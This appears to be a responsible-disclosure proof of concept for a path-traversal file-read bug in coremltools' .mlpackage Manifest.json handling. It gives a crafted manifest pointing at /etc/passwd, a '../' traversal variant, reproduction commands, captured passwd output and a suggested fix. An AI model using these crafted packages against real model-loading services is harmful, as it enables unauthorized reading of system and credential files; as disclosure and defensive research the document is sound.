PoC: Path traversal / arbitrary file read in Core ML .mlpackage Manifest.json handling
Submitted to: huntr.com Model File Format bounty track (target: Core ML) Status: Private research PoC, gated for manual review. Not intended for general use β this PoC demonstrates arbitrary file read; it is provided solely to support responsible disclosure.
Summary
Apple's coremltools Python package (current PyPI release 9.0) parses .mlpackage bundles β
a directory container with a Manifest.json mapping item identifiers to relative paths under
Data/. The compiled C++ parser (coremltools.libmodelpackage, built from
modelpackage/src/ModelPackage.cpp) concatenates the attacker-controlled path field from
Manifest.json with the package's data directory using plain std::filesystem path joining,
with no check that the result stays inside the package. Because operator/ leaves ..
segments intact and fully replaces the path when the right-hand side is absolute, a crafted
Manifest.json can make the "root model" (or "weights") item resolve to any file on the
filesystem, which is then opened and its bytes fed into the protobuf parser.
This is reachable from the documented, top-level public API:
coremltools.models.MLModel(path) and coremltools.utils.load_spec(path) β exactly the entry
point used to load an untrusted model file.
Root cause (exact citations, coremltools 9.0 / commit 5291472d)
modelpackage/src/ModelPackage.cpp:308(validate()),:466(findItem(), used bygetRootModel()),:516(removeItem()):β no containment/canonicalization check anywhere in this file.auto path = m_packageDataDirPath / itemInfoEntry->getString(kModelPackageItemInfoPathKey);coremltools/models/utils.py:269(load_spec()):specfile = _ModelPackage(model_path).getRootModel().path() with open(specfile, "rb") as f: spec.ParseFromString(f.read())coremltools/models/utils.py:1392(_try_get_weights_dir_path()) has the identical unsanitized pattern for the weights item.
PoC construction
poc/evil.mlpackage/Manifest.json:
{
"fileFormatVersion": "1.0.0",
"itemInfoEntries": {
"AAAAAAAA-BBBB-CCCC-DDDD-EEEEEEEEEEEE": {
"path": "/etc/passwd",
"name": "model.mlmodel",
"author": "com.apple.CoreML",
"description": "CoreML Model Specification"
}
},
"rootModelIdentifier": "AAAAAAAA-BBBB-CCCC-DDDD-EEEEEEEEEEEE"
}
poc/evil_rel.mlpackage/Manifest.json uses a relative-traversal path value
("../../../../../../../../../../etc/passwd") demonstrating the same result via .. escape
rather than an absolute-path replacement.
Reproduction steps
pip install coremltools==9.0
python3 -c "
from coremltools.libmodelpackage import ModelPackage
pkg = ModelPackage('poc/evil.mlpackage')
root = pkg.getRootModel()
print(root.path())
print(open(root.path(),'rb').read()[:200])
"
Real captured output (this session)
Direct C++ binding call:
Resolved root model path: /etc/passwd
First 200 bytes read from resolved path:
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Through the documented public entry point:
ct.models.MLModel('poc/evil.mlpackage', skip_model_load=True)
Exception type: DecodeError
Exception message: Error parsing message with type 'CoreML.Specification.Model': Wire format was corrupt
(Confirms the loader opened /etc/passwd and fed its bytes into the protobuf parser β it fails
to parse as expected, but the cross-trust-boundary file read already happened.)
Independently re-verified by the submitting researcher, same results, plus confirmation that
/etc/shadow correctly raises PermissionError β proving the only thing blocking a read is
OS-level DAC, not any application-level containment check.
Security impact
Arbitrary-path file read (CWE-22 family), reachable from the documented model-loading API. Any
process that loads an untrusted .mlpackage (e.g. a model-scanning service, a CI pipeline, a
hub download-and-inspect step) can be made to read and attempt to parse any file it has OS
permission to access.
Dedup / prior art
- OSV.dev: empty result for
coremltools(PyPI). - No GHSA/CVE found for coremltools or Core ML model-format path traversal.
- huntr.com's
apple/coremltoolspage shows two prior disclosures, both "Insecure Temporary File" (unrelated β about Python temp-file API misuse elsewhere in the codebase). - JFrog's public "Model Threats ZipSlip" research covers Keras3/PyTorch/MLeap zip-slip during
archive extraction, but does not mention Core ML /
.mlpackageat all β this bug is a different mechanism (manifest path handling of an already-materialized directory bundle, not zip/tar extraction). - No open GitHub issue on
apple/coremltoolsreferencesManifest.jsonor path traversal.
Honest caveats
- Demonstrated: confirmed arbitrary file read via the C++ manifest parser and via the documented public API. Not demonstrated: arbitrary code execution, memory corruption, or scanner bypass β none of those are claimed.
- The
weights-item variant of the same unsanitized-path pattern (_try_get_weights_dir_path()) was inspected but a full working repro chain (would require a validmlprogramspec referencing attacker-chosen weight-blob filenames) was not built β reported as "investigated, not reproduced," not claimed as a separate finding. - A resource-exhaustion angle (pointing the manifest path at a huge/special file) was identified but not measured or executed β not claimed here.
- Only exercised on Linux; the native macOS Core ML runtime (
libcoremlpython) was unavailable and untested, so any impact specific to on-device model execution is out of scope for this report.
Suggested fix
After joining m_packageDataDirPath with the manifest-supplied path, canonicalize the
result (e.g. std::filesystem::weakly_canonical) and verify it is still a descendant of
m_packageDataDirPath before returning it from ModelPackage.cpp's validate()/findItem()/
removeItem(). Reject the manifest entry (throw, as already done for missing files) if the
resolved path escapes the package directory.
Independent re-verification (2026-07-30)
Re-run from a clean checkout of this repo by a second party, fresh venv,
coremltools==9.0 on Linux/python3, all three claims re-confirmed verbatim:
- Absolute-path variant, direct C++ binding (
poc/evil.mlpackage):Resolved root model path: /etc/passwd First 120 bytes: b'root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...' - Documented public API β both
ct.models.MLModel('poc/evil.mlpackage', skip_model_load=True)andct.utils.load_spec('poc/evil.mlpackage')βDecodeError: Error parsing message with type 'CoreML.Specification.Model': Wire format was corrupt(i.e. the loader opened/etc/passwdand fed its bytes to the protobuf parser). /etc/shadowvariant β path resolves to/etc/shadow, read raisesPermissionError: [Errno 13]β confirming only OS-level DAC stops the read, not any application-level containment check.
Repro fix applied in this commit
The relative-traversal variant (poc/evil_rel.mlpackage) needs the package's Data/
directory to exist β .. segments are resolved by the OS against a real directory, whereas
the absolute-path variant replaces the path outright and needs nothing. That directory was
empty and was therefore silently dropped when this repo was first uploaded (git/HF do not
store empty directories), so a fresh clone reproduced only the absolute variant and the
relative one raised RuntimeError: Item does not exist for identifier. A .gitkeep
placeholder has been added to restore it. With Data/ present the relative variant
reproduces as documented:
resolved: poc/evil_rel.mlpackage/Data/../../../../../../../../../../etc/passwd
b'root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin'
If you clone this repo with a tool that drops empty directories, simply
mkdir -p poc/evil_rel.mlpackage/Data before running the relative variant.